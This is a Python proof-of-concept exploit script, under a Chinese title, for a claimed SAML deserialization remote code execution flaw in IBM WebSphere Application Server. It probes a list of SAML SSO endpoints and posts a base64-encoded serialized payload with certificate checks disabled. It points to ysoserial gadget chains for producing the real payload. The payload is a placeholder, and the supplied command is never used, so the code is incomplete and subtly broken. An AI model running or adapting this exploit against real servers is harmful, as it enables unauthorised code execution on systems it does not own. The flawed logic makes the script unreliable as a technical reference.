CVE-2026-9330 IBM WebSphere Application Server SAML反序列化远程代码执行漏洞

import requests import sys import base64 # CVE-2026-9330 PoC - IBM WebSphere SAML Deserialization RCE # This PoC demonstrates the vulnerability in IBM WebSphere Application Server def generate_deserialization_payload(): """ Generate malicious serialization payload for gadget chain exploitation Requires ysoserial or similar tool to generate actual payload Example: java -jar ysoserial.jar CommonsCollections6 "command" > payload.ser """ # Placeholder for actual ysoserial generated payload # Replace with actual generated payload using: # java -jar ysoserial.jar [gadget_chain] [command] > payload.bin return b"MALICIOUS_SERIALIZED_PAYLOAD_PLACEHOLDER" def exploit_cve_2026_9330(target_url, command): """ Exploit function for CVE-2026-9330 target_url: Base URL of vulnerable WebSphere server command: Command to execute on target """ print(f"[*] Targeting: {target_url}") print(f"[*] Command: {command}") # Generate payload using ysoserial (external tool required) # payload = subprocess.check_output([ # 'java', '-jar', 'ysoserial.jar', 'CommonsCollections6', command # ]) # SAML SSO endpoint typically at /samlssoservice or /ibm/saml20 endpoints = [ '/samlssoservice', '/ibm/saml20/defaultTeller/saml20/login', '/SAML20SPWCX' ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'SOAPAction': '""' } # Construct SAML request with malicious serialized object # The actual exploitation requires crafting proper SAML assertion for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # SAML Request with embedded serialized payload saml_request = generate_saml_request_with_payload() response = requests.post( url, data=saml_request, headers=headers, timeout=30, verify=False ) if response.status_code == 200 or response.status_code == 500: print(f"[+] Request sent to {endpoint}") print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error targeting {endpoint}: {e}") return False def generate_saml_request_with_payload(): """ Generate SAML request with embedded deserialization payload This is a simplified representation """ # In real attack, the payload would be base64 encoded and embedded # in the SAML assertion or related parameter return { 'SAMLRequest': base64.b64encode(generate_deserialization_payload()).decode(), 'RelayState': 'test' } if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2026-9330.py <target_url> <command>") print("Example: python cve-2026-9330.py https://vulnerable-server:9043 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit_cve_2026_9330(target, cmd)